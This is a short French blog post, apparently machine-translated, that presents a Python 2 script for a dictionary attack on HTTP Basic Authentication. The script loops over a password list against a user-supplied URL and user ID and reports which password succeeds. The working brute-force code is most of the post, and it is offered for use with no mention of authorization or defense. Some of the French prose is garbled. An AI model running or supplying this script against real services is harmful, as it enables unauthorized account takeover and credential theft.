Attaque de dictionnaire sur l'authentification de base

Attaque de dictionnaire sur l'authentification de base en Python

L'authentification de base ne vous oblige pas à utiliser de force quelque chose comme l'interface graphique. Dans urllib2, il existe une classe qui effectue normalement l'authentification de base. L'authentification de base peut être une attaque circulaire ou une attaque par dictionnaire tant que vous connaissez l'ID. C'est une technique très agressive, mais si vous êtes chanceux ou chanceux, vous pouvez trouver le mot de passe.

python


import urllib2, sys, time

class Attack:
	def __init__(self, url, userid, dictionary_file):
		self.url = url
		self.userid = userid
		self.password_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
		self.dictionary_file = dictionary_file

	def main(self):
		with open(self.dictionary_file, "r") as f:
			print "[INFO]: Loading..."
			lines = f.readlines()
			for password in lines:
				try:
					self.password_mgr.add_password(None, url, self.userid, password)
					handler = urllib2.HTTPBasicAuthHandler(self.password_mgr)
					opener = urllib2.build_opener(handler)
					urllib2.install_opener(opener)
					html = urllib2.urlopen(url)
					print "[yes]: password=%s" % (password)
					break
				except Exception, e:
					print "[no]: password=%s" % (password)

if __name__ == "__main__":
	url = raw_input("Url >>> ")
	userid = raw_input("Userid >>> ")
	dictionary_file = raw_input("Dictionary file >>> ")
	Attack_ = Attack(url, userid, dictionary_file)
	Attack_.main()

Recommended Posts

Attaque de dictionnaire sur l'authentification de base
Certification Flask Basic
Cours de base Python (7 dictionnaire)
python basic ② sous windows
Notes sur Python et les types de dictionnaire
Authentification de base, authentification Digest avec Flask
Grammaire de base du système Python3 (dictionnaire)